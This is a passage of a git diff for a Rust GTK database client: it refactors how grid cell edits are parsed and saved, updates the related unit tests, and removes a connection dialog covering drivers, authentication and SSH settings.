editor.connect_copy_to_clipboard(move |_, text| input.emit(AppMsg::CopyToClipboard(text))); + let input = sender.input_sender().clone(); + editor.connect_toast(move |_, text| input.emit(AppMsg::ShowToast(text))); + let input = sender.input_sender().clone(); + editor.connect_export_results(move |_, result, name| { + input.emit(AppMsg::ExportResults { + result, + name, + target: None, + }); + }); + let toasts = toasts.clone(); + editor.connect_undoable_toast(move |editor, title| { + let toast = adw::Toast::new(&title); + toast.set_button_label(Some(&crate::i18n::gettext("Undo"))); + let editor = editor.downgrade(); + toast.connect_button_clicked(move |_| { + if let Some(editor) = editor.upgrade() { + editor.undo(); + } + }); + toasts.add_toast(toast); + }); +} diff --git a/linux/crates/app/src/ui/browse_tab.rs b/linux/crates/app/src/ui/browse_tab.rs index 2df9b89419..8efbc107ae 100644 --- a/linux/crates/app/src/ui/browse_tab.rs +++ b/linux/crates/app/src/ui/browse_tab.rs @@ -6,6 +6,7 @@ use relm4::prelude::*; use relm4::{adw, gtk}; use uuid::Uuid; +use tablepro_core::edit::{CellInput, EditContext, EditParseError}; use tablepro_core::{ColumnInfo, QueryResult, Value}; use super::grid::{CellPreset, GridMsg, TabGridContext, build_column_view}; @@ -24,7 +25,6 @@ pub struct BrowseTabInit { pub tab_id: Uuid, pub schema: Option, pub table: String, - pub driver_id: String, pub connection_id: Option, pub read_only: bool, pub page_size: u64, @@ -38,7 +38,6 @@ pub struct BrowseTab { tab_id: Uuid, schema: Option, table: String, - driver_id: String, connection_id: Option, read_only: bool, column_widths: crate::persistence::ColumnWidthStore, @@ -237,9 +236,9 @@ pub enum BrowseTabInput { /// Ctrl+Shift+Z. Symmetric to Undo: re-applies the popped op /// and mirrors the visual change forward. Redo, - /// User clicked Save — materialize tracker pending changes and - /// emit them as a single `BrowseTabOutput::ExecuteTransaction` - /// for atomic commit. + /// User clicked Save: hand the tracker's changes to the App as one + /// `BrowseTabOutput::ExecuteTransaction`, which saves them as one + /// batch. CommitSave, /// User clicked Discard — clear all pending edits and refetch /// the page so the grid shows committed values again. @@ -317,16 +316,13 @@ pub enum BrowseTabOutput { /// `true` = at least one pending edit; the App-side handler /// prefixes the tab title with the GNOME-Text-Editor "•" dot. DirtyChanged(bool), - /// Run a sequence of pending-changeset statements inside a single - /// DB transaction. Materialised by the per-tab change tracker on - /// Save click. App routes this to `Connection::execute_in_transaction` - /// and dispatches `SaveCompleted` / `SaveFailed` back via input. - /// `sources[i]` identifies the row that produced `statements[i]`, - /// so a `DriverError::Transaction { statement_index, .. }` can be - /// mapped back to the offending grid row for scroll-and-select. + /// Save the tracker's changes as one batch. The columns are the ones + /// the change set was built against, so the plan binds the same + /// shape; `changes` maps a failing step back to its grid row. ExecuteTransaction { - statements: Vec<(String, Vec)>, - sources: Vec, + table: tablepro_core::meta::TableRef, + columns: Vec, + changes: crate::services::change_tracker::TrackedChanges, }, } @@ -340,7 +336,6 @@ impl BrowseTab { fn sql_target(&self) -> crate::ui::export_dialog::SqlTarget { crate::ui::export_dialog::SqlTarget { table: self.table.clone(), - driver_id: self.driver_id.clone(), } } @@ -397,16 +392,22 @@ impl BrowseTab { /// an empty string means NULL on a column that takes one, and is /// refused on a column that does not, exactly as typing an empty /// value into the cell would be. - fn resolve_cell_preset(&self, preset: CellPreset, col_index: usize) -> Result { + fn resolve_cell_preset(&self, preset: CellPreset, col_index: usize, context: EditContext) -> Result { match preset { CellPreset::Null => Ok(Value::Null), - CellPreset::Empty => { - let col = self.current_columns.get(col_index); - match col { - Some(c) if c.column_type.kind().accepts_empty_string() => Ok(Value::Text(String::new())), - _ => parse_input_for_column("", col), - } - } + CellPreset::Empty => parse_input_for_column("", self.current_columns.get(col_index), context), + } + } + + /// Whether an edit at this position lands in a draft row, which is + /// the one place an empty cell can mean the server's default. + fn edit_context_at(&self, row_position: u32) -> EditContext { + match self + .row_object_at(row_position) + .is_some_and(|row| row.draft_id().is_some()) + { + true => EditContext::InsertDraft, + false => EditContext::UpdateRow, } } @@ -445,10 +446,6 @@ impl BrowseTab { &self.current_filter } - pub fn driver_id(&self) -> &str { - &self.driver_id - } - /// Build the navigation toolbar — Prev / Next / page label / page /// size dropdown / Filter / Export. Row-level mutations live /// elsewhere: Insert in the per-table HeaderBar (canonical GNOME @@ -1723,7 +1720,6 @@ impl SimpleComponent for BrowseTab { tab_id: init.tab_id, schema: init.schema, table: init.table, - driver_id: init.driver_id, connection_id: init.connection_id, read_only: init.read_only, column_widths: init.column_widths, @@ -2235,13 +2231,13 @@ impl SimpleComponent for BrowseTab { let keeps_line_breaks = self .current_columns .get(col_index) - .is_some_and(|c| c.column_type.kind().accepts_line_breaks()); + .is_some_and(|c| c.column_type.kind.accepts_line_breaks()); let normalized = match keeps_line_breaks { true => new_value, false => normalize_single_line_input(&new_value), }; let col = self.current_columns.get(col_index); - let new = match parse_input_for_column(&normalized, col) { + let new = match parse_input_for_column(&normalized, col, self.edit_context_at(row_position)) { Ok(v) => v, Err(message) => { let _ = sender.output(BrowseTabOutput::ShowToast(message)); @@ -2276,7 +2272,7 @@ impl SimpleComponent for BrowseTab { col_index, preset, } => { - let value = match self.resolve_cell_preset(preset, col_index) { + let value = match self.resolve_cell_preset(preset, col_index, self.edit_context_at(row_position)) { Ok(value) => value, Err(message) => { let _ = sender.output(BrowseTabOutput::ShowToast(message)); @@ -2421,14 +2417,9 @@ impl SimpleComponent for BrowseTab { } BrowseTabInput::CommitSave => { let columns = self.current_columns.clone(); - let driver_id = self.driver_id.clone(); - let schema = self.schema.clone(); - let table = self.table.clone(); - let result = crate::services::change_tracker::with_tab_ref(self.tab_id, |t| { - t.materialize(&driver_id, schema.as_deref(), &table, &columns) - }); + let result = crate::services::change_tracker::with_tab_ref(self.tab_id, |t| t.change_set(&columns)); match result { - Some(Ok((statements, sources))) if !statements.is_empty() => { + Some(Ok(changes)) if !changes.changes.is_empty() => { // Disable both buttons for the duration of the // in-flight transaction. SaveCompleted / // SaveFailed re-enable them. This prevents a @@ -2441,7 +2432,11 @@ impl SimpleComponent for BrowseTab { // the focused row's PK now so it can be re- // selected after the reload. self.capture_focus_for_restore(); - let _ = sender.output(BrowseTabOutput::ExecuteTransaction { statements, sources }); + let _ = sender.output(BrowseTabOutput::ExecuteTransaction { + table: tablepro_core::meta::TableRef::new(self.schema.clone(), self.table.clone()), + columns, + changes, + }); } Some(Ok(_)) => { // Nothing to save (tracker empty) — refresh bar. @@ -2674,19 +2669,22 @@ fn update_selection_chrome(label: >k::Label, n: u32) { /// /// Parsing against the typed column rather than a type-name string is /// what makes an out-of-range number a message beside the cell instead -/// of a failed transaction. An empty cell is NULL only where the -/// column can hold one. -fn parse_input_for_column(text: &str, col: Option<&ColumnInfo>) -> Result { +/// of a failed transaction. What an empty cell means is core's rule: +/// the empty string where the column holds one, the server's default +/// in a draft row, NULL where the column takes it, and a refusal +/// otherwise. +fn parse_input_for_column(text: &str, col: Option<&ColumnInfo>, context: EditContext) -> Result { let Some(col) = col else { return Ok(Value::Text(text.to_string())); }; - if text.is_empty() && !col.column_type.kind().accepts_empty_string() { - if col.nullable || !col.default.is_none() { - return Ok(Value::Null); - } - return Err(crate::i18n::gettext("Field is required")); + match tablepro_core::edit::parse_edit_text(text, col, context) { + Ok(CellInput::Value(value)) => Ok(value), + // A draft holds NULL for a cell left to the server; the save + // leaves that column out of the INSERT. + Ok(CellInput::Default) => Ok(Value::Null), + Err(EditParseError::Required) => Err(crate::i18n::gettext("Field is required")), + Err(error) => Err(error.to_string()), } - tablepro_core::edit::parse_literal_text(text, &col.column_type).map_err(|error| error.to_string()) } /// Format a positive integer with thousands separators (1000 → 1,000). @@ -2739,6 +2737,7 @@ fn result_columns(columns: &[tablepro_core::ColumnInfo]) -> std::sync::Arc<[tabl mod tests { use super::{build_persisted_row_key, format_thousands, parse_input_for_column}; use crate::services::change_tracker::RowKey; + use tablepro_core::edit::EditContext; use tablepro_core::{ColumnInfo, Value}; /// A column carrying the server's spelling and the kind it means. @@ -2750,13 +2749,16 @@ mod tests { let kind = tablepro_core::column::classify_type_name(data_type); ColumnInfo { name: "x".into(), - column_type: tablepro_core::column::ColumnType::new( - tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + column_type: tablepro_core::column::ColumnType { + name: data_type.to_owned(), + dynamic_storage: tablepro_core::column::has_dynamic_storage(&kind), kind, - tablepro_core::column::CatalogType::Unknown, - tablepro_core::column::has_dynamic_storage(kind), - tablepro_core::column::ReadForm::Native, - ), + catalog: Some(tablepro_core::column::CatalogType { + declaration: tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + cast_target: tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + }), + read_form: tablepro_core::column::ReadForm::Native, + }, nullable, primary_key: false, is_auto_increment: false, @@ -2800,27 +2802,34 @@ mod tests { // A text column has an empty value, so clearing the cell is // that value rather than NULL. There was no way to type it // before. - let cleared = parse_input_for_column("", Some(&col("text", true))).expect("an empty string"); + let cleared = + parse_input_for_column("", Some(&col("text", true)), EditContext::UpdateRow).expect("an empty string"); assert_eq!(cleared, Value::Text(String::new())); } #[test] fn clearing_a_column_with_no_empty_value_yields_null() { - let cleared = parse_input_for_column("", Some(&col("timestamp", true))).expect("a null"); + let cleared = + parse_input_for_column("", Some(&col("timestamp", true)), EditContext::UpdateRow).expect("a null"); assert!(matches!(cleared, Value::Null)); } #[test] - fn empty_on_not_null_with_default_yields_null() { - let r = parse_input_for_column("", Some(&col_with_default("timestamp", "now()"))).unwrap(); - assert!(matches!(r, Value::Null)); + fn empty_on_not_null_with_default_is_left_to_the_server_only_in_a_draft() { + let column = col_with_default("timestamp", "now()"); + + let draft = parse_input_for_column("", Some(&column), EditContext::InsertDraft).unwrap(); + assert!(matches!(draft, Value::Null), "a draft leaves it to the default"); + + let existing = parse_input_for_column("", Some(&column), EditContext::UpdateRow); + assert!(existing.is_err(), "an UPDATE cannot ask for the default: {existing:?}"); } #[test] fn empty_on_a_required_column_with_no_empty_value_is_rejected() { - let r = parse_input_for_column("", Some(&col("integer", false))); + let r = parse_input_for_column("", Some(&col("integer", false)), EditContext::UpdateRow); assert!(r.is_err()); assert!(r.as_ref().is_err_and(|message| message.contains("required")), "{r:?}"); @@ -2829,69 +2838,89 @@ mod tests { #[test] fn parses_int_decimal_float_bool() { assert!(matches!( - parse_input_for_column("42", Some(&col("integer", false))).unwrap(), + parse_input_for_column("42", Some(&col("integer", false)), EditContext::UpdateRow).unwrap(), Value::Int(42) )); assert!(matches!( - parse_input_for_column("3.14", Some(&col("real", false))).unwrap(), + parse_input_for_column("3.14", Some(&col("real", false)), EditContext::UpdateRow).unwrap(), Value::Float32(_) )); assert!(matches!( - parse_input_for_column("99.99", Some(&col("decimal(10,2)", false))).unwrap(), + parse_input_for_column("99.99", Some(&col("decimal(10,2)", false)), EditContext::UpdateRow).unwrap(), Value::Decimal(_) )); assert!(matches!( - parse_input_for_column("yes", Some(&col("boolean", false))).unwrap(), + parse_input_for_column("yes", Some(&col("boolean", false)), EditContext::UpdateRow).unwrap(), Value::Bool(true) )); // MySQL spells boolean as tinyint(1), so it parses as the // integer it is and the grid renders 0 and 1. assert!(matches!( - parse_input_for_column("0", Some(&col("tinyint(1)", false))).unwrap(), + parse_input_for_column("0", Some(&col("tinyint(1)", false)), EditContext::UpdateRow).unwrap(), Value::Int(0) )); } #[test] fn parses_uuid_json_date_time_datetime_timestamptz() { - let uuid = parse_input_for_column("550e8400-e29b-41d4-a716-446655440000", Some(&col("uuid", false))).unwrap(); + let uuid = parse_input_for_column( + "550e8400-e29b-41d4-a716-446655440000", + Some(&col("uuid", false)), + EditContext::UpdateRow, + ) + .unwrap(); assert!(matches!(uuid, Value::Uuid(_))); - let json = parse_input_for_column(r#"{"a":1}"#, Some(&col("jsonb", false))).unwrap(); + let json = parse_input_for_column(r#"{"a":1}"#, Some(&col("jsonb", false)), EditContext::UpdateRow).unwrap(); assert!(matches!(json, Value::Json(_))); - let date = parse_input_for_column("2024-01-15", Some(&col("date", false))).unwrap(); + let date = parse_input_for_column("2024-01-15", Some(&col("date", false)), EditContext::UpdateRow).unwrap(); assert!(matches!(date, Value::Date(_))); - let time = parse_input_for_column("14:30:00", Some(&col("time", false))).unwrap(); + let time = parse_input_for_column("14:30:00", Some(&col("time", false)), EditContext::UpdateRow).unwrap(); assert!(matches!(time, Value::Time(_))); - let time_short = parse_input_for_column("14:30", Some(&col("time", false))).unwrap(); + let time_short = parse_input_for_column("14:30", Some(&col("time", false)), EditContext::UpdateRow).unwrap(); assert!(matches!(time_short, Value::Time(_))); - let datetime = parse_input_for_column("2024-01-15 14:30:00", Some(&col("timestamp", false))).unwrap(); + let datetime = parse_input_for_column( + "2024-01-15 14:30:00", + Some(&col("timestamp", false)), + EditContext::UpdateRow, + ) + .unwrap(); assert!(matches!(datetime, Value::Timestamp(_))); - let datetime_t = parse_input_for_column("2024-01-15T14:30:00", Some(&col("datetime", false))).unwrap(); + let datetime_t = parse_input_for_column( + "2024-01-15T14:30:00", + Some(&col("datetime", false)), + EditContext::UpdateRow, + ) + .unwrap(); assert!(matches!(datetime_t, Value::Timestamp(_))); } #[test] fn rejects_invalid_type_specific_input() { - assert!(parse_input_for_column("not-a-number", Some(&col("integer", false))).is_err()); - assert!(parse_input_for_column("not-a-uuid", Some(&col("uuid", false))).is_err()); - assert!(parse_input_for_column("{not json", Some(&col("jsonb", false))).is_err()); - assert!(parse_input_for_column("2024/01/15", Some(&col("date", false))).is_err()); - assert!(parse_input_for_column("13:00:99", Some(&col("time", false))).is_err()); + assert!(parse_input_for_column("not-a-number", Some(&col("integer", false)), EditContext::UpdateRow).is_err()); + assert!(parse_input_for_column("not-a-uuid", Some(&col("uuid", false)), EditContext::UpdateRow).is_err()); + assert!(parse_input_for_column("{not json", Some(&col("jsonb", false)), EditContext::UpdateRow).is_err()); + assert!(parse_input_for_column("2024/01/15", Some(&col("date", false)), EditContext::UpdateRow).is_err()); + assert!(parse_input_for_column("13:00:99", Some(&col("time", false)), EditContext::UpdateRow).is_err()); assert!( - parse_input_for_column("128", Some(&col("tinyint", false))).is_err(), + parse_input_for_column("128", Some(&col("tinyint", false)), EditContext::UpdateRow).is_err(), "a number past the column's range was accepted" ); - assert!(parse_input_for_column("not-a-date", Some(&col("timestamp", false))).is_err()); - assert!(parse_input_for_column("maybe", Some(&col("boolean", false))).is_err()); + assert!(parse_input_for_column("not-a-date", Some(&col("timestamp", false)), EditContext::UpdateRow).is_err()); + assert!(parse_input_for_column("maybe", Some(&col("boolean", false)), EditContext::UpdateRow).is_err()); } #[test] fn unknown_type_falls_through_to_text() { - let r = parse_input_for_column("anything goes here", Some(&col("varchar(255)", false))).unwrap(); + let r = parse_input_for_column( + "anything goes here", + Some(&col("varchar(255)", false)), + EditContext::UpdateRow, + ) + .unwrap(); assert!(matches!(r, Value::Text(_))); } @@ -2903,7 +2932,7 @@ mod tests { // the grid before edit (grid.rs install_double_click_to_edit), // so this path is only reached if the user typed `` on // purpose. - let r = parse_input_for_column("", Some(&col("text", true))).unwrap(); + let r = parse_input_for_column("", Some(&col("text", true)), EditContext::UpdateRow).unwrap(); match r { Value::Text(s) => assert_eq!(s, ""), other => panic!("expected Text(\"\") got {other:?}"), diff --git a/linux/crates/app/src/ui/connect_dialog.rs b/linux/crates/app/src/ui/connect_dialog.rs deleted file mode 100644 index 5f53d87620..0000000000 --- a/linux/crates/app/src/ui/connect_dialog.rs +++ /dev/null @@ -1,1261 +0,0 @@ -use std::sync::Arc; - -use relm4::adw::prelude::*; -use relm4::prelude::*; -use relm4::{adw, gtk}; -use secrecy::SecretString; -use uuid::Uuid; - -use tablepro_core::{AuthMode, ConnectOptions, DriverRegistry, TableInfo}; -use tablepro_storage::{ConnectionStore, SavedConnection, SavedSshConfig}; - -use super::ssh_section::{SshInputs, SshSecretToStore, SshSection}; -use tablepro_core::credentials::{SecretKind, SecretVault}; - -use crate::services::connection_service; -use crate::services::database_service::{self, ReconnectParams}; -use crate::services::secret_labels; -use crate::services::secret_save_report::SecretSaveReport; - -pub struct ConnectDialog { - registry: Arc, - storage: crate::storage::SharedStorage, - settings: std::rc::Rc, - tasks: tablepro_session::runtime::Tasks, - drivers: Vec, - driver_combo: adw::ComboRow, - host: adw::EntryRow, - port: adw::SpinRow, - database: adw::EntryRow, - username: adw::EntryRow, - password: adw::PasswordEntryRow, - auth_combo: adw::ComboRow, - use_tls: adw::SwitchRow, - read_only: adw::SwitchRow, - auth_group: adw::PreferencesGroup, - ssh: SshSection, - test_button: gtk::Button, - submit: gtk::Button, - toast_overlay: adw::ToastOverlay, - form: AuthFormState, - /// Set once the user types a port. A driver switch only overwrites - /// the port while this is false, so a deliberate 6543 survives a - /// look at another driver. - port_edited: std::rc::Rc>, - /// The handler that sets `port_edited`, blocked while the code - /// writes the port so applying a driver is not read as an edit. - port_handler: glib::SignalHandlerId, -} - -#[derive(Debug, Clone)] -struct DriverEntry { - id: String, - display_name: String, -} - -/// The auth-method model's rows, in the order the combo shows them. -/// The label list and the selection decoder are both derived from this, -/// so a row index can never mean two different things. -const AUTH_MODE_ROWS: [AuthMode; 2] = [AuthMode::Password, AuthMode::Kerberos]; - -fn auth_mode_label(mode: AuthMode) -> String { - match mode { - AuthMode::Password => crate::i18n::gettext("Password"), - AuthMode::Kerberos => crate::i18n::gettext("Windows (Kerberos)"), - } -} - -fn auth_mode_for_row(row: u32) -> AuthMode { - AUTH_MODE_ROWS.get(row as usize).copied().unwrap_or_default() -} - -/// What the selected driver allows, kept beside the widgets so the form -/// never reads its own visibility flags back to work out the mode. -#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] -struct AuthFormState { - file_based: bool, - supports_integrated: bool, - selected: AuthMode, -} - -impl AuthFormState { - /// A selection left over from another driver resolves back to - /// password auth instead of leaking across the switch. - fn mode(self) -> AuthMode { - if self.shows_method() { - self.selected - } else { - AuthMode::Password - } - } - - fn shows_method(self) -> bool { - !self.file_based && self.supports_integrated - } - - fn shows_credentials(self) -> bool { - !self.file_based && self.mode() == AuthMode::Password - } -} - -pub struct ConnectDialogInit { - pub registry: Arc, - pub storage: crate::storage::SharedStorage, - pub settings: std::rc::Rc, - pub tasks: tablepro_session::runtime::Tasks, -} - -#[derive(Debug)] -pub enum ConnectDialogInput { - DriverChanged(u32), - SshToggled, - SshAuthChanged, - AuthModeChanged, - Submit, - TestConnection, - InputChanged, - Closed, -} - -#[derive(Debug)] -pub enum ConnectDialogOutput { - Connected { - tables: Vec, - driver_id: String, - }, - /// Something the user should see that did not stop the connect, - /// such as a password the keyring refused to keep. - Warning(String), - Closed, -} - -/// What a successful connect produced, including anything the keyring -/// refused to keep so the dialog can say so. -#[derive(Debug)] -pub struct ConnectOutcome { - pub saved: SavedConnection, - pub tables: Vec, - pub secret_warnings: Vec, -} - -#[derive(Debug)] -#[expect( - clippy::large_enum_variant, - reason = "relm4 moves each message once through a channel, so boxing would only add an allocation" -)] -pub enum ConnectDialogCmd { - Result(Result), - TestResult(Result), -} - -/// Which async operation (if any) is currently in flight. Drives -/// the per-button busy-label rendering — only the *busy* button gets -/// the in-progress wording, the other keeps its static label. -#[derive(Debug, Clone, Copy)] -enum BusyKind { - None, - Connecting, - Testing, -} - -#[relm4::component(pub)] -impl Component for ConnectDialog { - type Init = ConnectDialogInit; - type Input = ConnectDialogInput; - type Output = ConnectDialogOutput; - type CommandOutput = ConnectDialogCmd; - - view! { - adw::Dialog { - set_title: &crate::i18n::gettext("Connect"), - set_content_width: 480, - set_content_height: 720, - connect_closed => ConnectDialogInput::Closed, - - #[wrap(Some)] - set_child = &adw::ToolbarView { - // Action buttons in the headerbar — Test on the start - // (secondary), Connect on the end (primary). Matches - // GNOME Connections / Builder shape; no manual bottom - // Box, no pill class on header buttons. - add_top_bar = &adw::HeaderBar { - pack_start: &model.test_button, - pack_end: &model.submit, - }, - - #[wrap(Some)] - set_content = &model.toast_overlay.clone(), - }, - } - } - - fn init(init: Self::Init, root: Self::Root, sender: ComponentSender) -> ComponentParts { - let mut drivers: Vec = init - .registry - .iter() - .map(|d| DriverEntry { - id: d.id().to_string(), - display_name: d.display_name().to_string(), - }) - .collect(); - drivers.sort_by(|a, b| a.display_name.cmp(&b.display_name)); - - let names: Vec = drivers.iter().map(|d| d.display_name.clone()).collect(); - let names_ref: Vec<&str> = names.iter().map(String::as_str).collect(); - let driver_model = gtk::StringList::new(&names_ref); - - let driver_combo = adw::ComboRow::builder() - .title(crate::i18n::gettext("Driver")) - .model(&driver_model) - .build(); - let sender_for_combo = sender.clone(); - driver_combo.connect_selected_notify(move |row| { - sender_for_combo.input(ConnectDialogInput::DriverChanged(row.selected())); - }); - - let host = adw::EntryRow::builder() - .title(crate::i18n::gettext("Host")) - .activates_default(true) - .build(); - // Port is a u16 1-65535. AdwSpinRow enforces the range natively; - // no parse + fallback dance, no inline-error CSS to maintain. - let port = adw::SpinRow::with_range(1.0, 65535.0, 1.0); - port.set_title(&crate::i18n::gettext("Port")); - let port_edited = std::rc::Rc::new(std::cell::Cell::new(false)); - let port_edited_for_handler = port_edited.clone(); - let port_handler = port.connect_value_notify(move |_| { - port_edited_for_handler.set(true); - }); - let database = adw::EntryRow::builder() - .title(crate::i18n::gettext("Database")) - .activates_default(true) - .build(); - let username = adw::EntryRow::builder() - .title(crate::i18n::gettext("Username")) - .activates_default(true) - .build(); - let password = adw::PasswordEntryRow::builder() - .title(crate::i18n::gettext("Password")) - .activates_default(true) - .build(); - let use_tls = adw::SwitchRow::builder() - .title(crate::i18n::gettext("Use TLS")) - .subtitle(crate::i18n::gettext("Require encrypted connection")) - .active(false) - .build(); - let read_only = adw::SwitchRow::builder() - .title(crate::i18n::gettext("Read-only mode")) - .subtitle(crate::i18n::gettext( - "Block INSERT, UPDATE, DELETE, and DDL on this connection", - )) - .active(false) - .build(); - - let ssh = SshSection::build(); - let sender_for_ssh = sender.clone(); - ssh.expander.connect_enable_expansion_notify(move |_| { - sender_for_ssh.input(ConnectDialogInput::SshToggled); - }); - let sender_for_auth = sender.clone(); - ssh.auth_combo.connect_selected_notify(move |_| { - sender_for_auth.input(ConnectDialogInput::SshAuthChanged); - }); - - for entry in [&host, &database, &username] { - let s = sender.clone(); - entry.connect_changed(move |_| s.input(ConnectDialogInput::InputChanged)); - } - let s = sender.clone(); - password.connect_changed(move |_| s.input(ConnectDialogInput::InputChanged)); - - // Semantic preferences groups: Connection / Authentication / - // Options / SSH. AdwPreferencesPage renders them with the - // standard Adwaita section spacing & headers. - let connection_group = adw::PreferencesGroup::builder() - .title(crate::i18n::gettext("Connection")) - .build(); - connection_group.add(&driver_combo); - connection_group.add(&host); - connection_group.add(&port); - connection_group.add(&database); - - let auth_labels: Vec = AUTH_MODE_ROWS.iter().map(|mode| auth_mode_label(*mode)).collect(); - let auth_labels_ref: Vec<&str> = auth_labels.iter().map(String::as_str).collect(); - let auth_mode_model = gtk::StringList::new(&auth_labels_ref); - let auth_combo = adw::ComboRow::builder() - .title(crate::i18n::gettext("Method")) - .model(&auth_mode_model) - .build(); - let sender_for_authmode = sender.clone(); - auth_combo.connect_selected_notify(move |_| { - sender_for_authmode.input(ConnectDialogInput::AuthModeChanged); - }); - - let auth_group = adw::PreferencesGroup::builder() - .title(crate::i18n::gettext("Authentication")) - .build(); - auth_group.add(&auth_combo); - auth_group.add(&username); - auth_group.add(&password); - - let options_group = adw::PreferencesGroup::builder() - .title(crate::i18n::gettext("Options")) - .build(); - options_group.add(&use_tls); - options_group.add(&read_only); - - let test_button = gtk::Button::builder().label(crate::i18n::gettext("Test")).build(); - let sender_for_test = sender.clone(); - test_button.connect_clicked(move |_| { - sender_for_test.input(ConnectDialogInput::TestConnection); - }); - - let submit = gtk::Button::builder().label(crate::i18n::gettext("Connect")).build(); - submit.add_css_class("suggested-action"); - let sender_for_submit = sender.clone(); - submit.connect_clicked(move |_| { - sender_for_submit.input(ConnectDialogInput::Submit); - }); - - let page = adw::PreferencesPage::new(); - page.add(&connection_group); - page.add(&auth_group); - page.add(&options_group); - page.add(&ssh.group); - let toast_overlay = adw::ToastOverlay::new(); - toast_overlay.set_child(Some(&page)); - - let mut model = ConnectDialog { - registry: init.registry, - storage: init.storage, - settings: init.settings, - tasks: init.tasks, - drivers: drivers.clone(), - driver_combo, - host, - port, - database, - username, - password, - auth_combo, - use_tls, - read_only, - auth_group, - ssh, - test_button, - submit, - toast_overlay, - form: AuthFormState::default(), - port_edited, - port_handler, - }; - let widgets = view_output!(); - - // Open on the driver the user connected to last, so the common - // case is one click rather than a combo hunt. - let remembered = model.settings.connect_dialog_driver(); - let selected = driver_index(&drivers, &remembered); - model.driver_combo.set_selected(selected as u32); - model.apply_driver(selected, &root); - model.refresh_validity(); - - // Enter submits. Each row carries activates-default, which is - // what makes AdwEntryRow call gtk_widget_activate_default; the - // default widget alone does nothing without it. Connect stays - // insensitive while the form is invalid, so Enter on a bad form - // does nothing. - root.set_default_widget(Some(&model.submit)); - - ComponentParts { model, widgets } - } - - fn update(&mut self, msg: Self::Input, sender: ComponentSender, root: &Self::Root) { - match msg { - ConnectDialogInput::DriverChanged(idx) => { - self.apply_driver(idx as usize, root); - self.refresh_validity(); - } - - ConnectDialogInput::SshToggled => { - self.refresh_validity(); - } - - ConnectDialogInput::SshAuthChanged => { - self.ssh.refresh_auth_visibility(); - self.refresh_validity(); - } - - ConnectDialogInput::AuthModeChanged => { - self.form.selected = auth_mode_for_row(self.auth_combo.selected()); - self.apply_form_state(); - self.refresh_validity(); - } - - ConnectDialogInput::InputChanged => { - self.refresh_validity(); - } - - ConnectDialogInput::Submit => { - self.set_busy(BusyKind::Connecting); - - let idx = self.driver_combo.selected() as usize; - let Some(entry) = self.drivers.get(idx).cloned() else { - self.set_busy(BusyKind::None); - self.show_toast(&crate::i18n::gettext("No driver selected")); - return; - }; - - let driver = match self.registry.get(&entry.id) { - Some(d) => d, - None => { - self.set_busy(BusyKind::None); - self.show_toast(&crate::i18n::gettext_f( - "Driver {id} not registered", - &[("id", &entry.id)], - )); - return; - } - }; - - let opts = self.collect_options(); - - let label = if entry.id == "sqlite" { - opts.database.clone() - } else if opts.auth_mode == AuthMode::Kerberos { - opts.host.clone() - } else { - format!("{}@{}", opts.username, opts.host) - }; - let driver_id = entry.id.clone(); - - let ssh_inputs = if self.ssh.is_enabled() { - match self.ssh.collect() { - Ok(inputs) => Some(inputs), - Err(e) => { - self.set_busy(BusyKind::None); - self.show_toast(&e); - return; - } - } - } else { - None - }; - let read_only = self.read_only.is_active(); - let targets = SaveTargets { - connections: self.storage.connections().clone(), - secrets: self.storage.secrets().clone(), - tasks: self.tasks.clone(), - }; - - sender.command(move |out, shutdown| { - shutdown - .register(async move { - let result = run_connect( - driver.clone(), - targets.clone(), - driver_id, - label, - opts, - ssh_inputs, - read_only, - ) - .await; - out.send(ConnectDialogCmd::Result(result)).ok(); - }) - .drop_on_shutdown() - }); - } - - ConnectDialogInput::TestConnection => { - self.set_busy(BusyKind::Testing); - - let idx = self.driver_combo.selected() as usize; - let Some(entry) = self.drivers.get(idx).cloned() else { - self.set_busy(BusyKind::None); - self.show_toast(&crate::i18n::gettext("No driver selected")); - return; - }; - let Some(driver) = self.registry.get(&entry.id) else { - self.set_busy(BusyKind::None); - self.show_toast(&crate::i18n::gettext_f( - "Driver {id} not registered", - &[("id", &entry.id)], - )); - return; - }; - let opts = self.collect_options(); - let ssh_inputs = if self.ssh.is_enabled() { - match self.ssh.collect() { - Ok(inputs) => Some(inputs.cfg), - Err(e) => { - self.set_busy(BusyKind::None); - self.show_toast(&e); - return; - } - } - } else { - None - }; - - sender.command(move |out, shutdown| { - shutdown - .register(async move { - let result = - match connection_service::establish(driver.as_ref(), opts, ssh_inputs, false).await { - Ok((conn, _tunnel)) => match conn.list_tables().await { - Ok(tables) => Ok(tables.len()), - Err(e) => Err(format!("list_tables: {e}")), - }, - Err(e) => Err(e), - }; - out.send(ConnectDialogCmd::TestResult(result)).ok(); - }) - .drop_on_shutdown() - }); - } - - ConnectDialogInput::Closed => { - let _ = sender.output(ConnectDialogOutput::Closed); - } - } - } - - fn update_cmd(&mut self, msg: Self::CommandOutput, sender: ComponentSender, root: &Self::Root) { - self.set_busy(BusyKind::None); - match msg { - ConnectDialogCmd::Result(Ok(outcome)) => { - tracing::info!( - driver = %outcome.saved.driver_id, - table_count = outcome.tables.len(), - "connected" - ); - // The dialog opens on this driver next time. - if let Err(error) = self.settings.set_connect_dialog_driver(&outcome.saved.driver_id) { - tracing::warn!(%error, "could not remember the connect dialog driver"); - } - // A keyring refusal must not be silent: the connection - // opened, but the password will be asked for next time. - for warning in &outcome.secret_warnings { - let _ = sender.output(ConnectDialogOutput::Warning(warning.clone())); - } - let _ = sender.output(ConnectDialogOutput::Connected { - tables: outcome.tables, - driver_id: outcome.saved.driver_id, - }); - root.close(); - } - ConnectDialogCmd::Result(Err(e)) => { - tracing::warn!(error = %e, "connect failed"); - self.show_toast(&e); - } - ConnectDialogCmd::TestResult(Ok(table_count)) => { - self.show_toast(&crate::i18n::gettext_f( - "Connection ok · {n} table(s) visible", - &[("n", &table_count.to_string())], - )); - } - ConnectDialogCmd::TestResult(Err(e)) => { - self.show_toast(&crate::i18n::gettext_f("Test failed: {error}", &[("error", &e)])); - } - } - } -} - -impl ConnectDialog { - fn refresh_validity(&self) { - let database_empty = self.database.text().trim().is_empty(); - toggle_error(&self.database, database_empty); - - let host_required = !self.form.file_based; - let host_empty = host_required && self.host.text().trim().is_empty(); - toggle_error(&self.host, host_empty); - - let username_required = self.form.shows_credentials(); - let username_empty = username_required && self.username.text().trim().is_empty(); - toggle_error(&self.username, username_empty); - - let valid = self.is_form_valid(); - self.submit.set_sensitive(valid); - 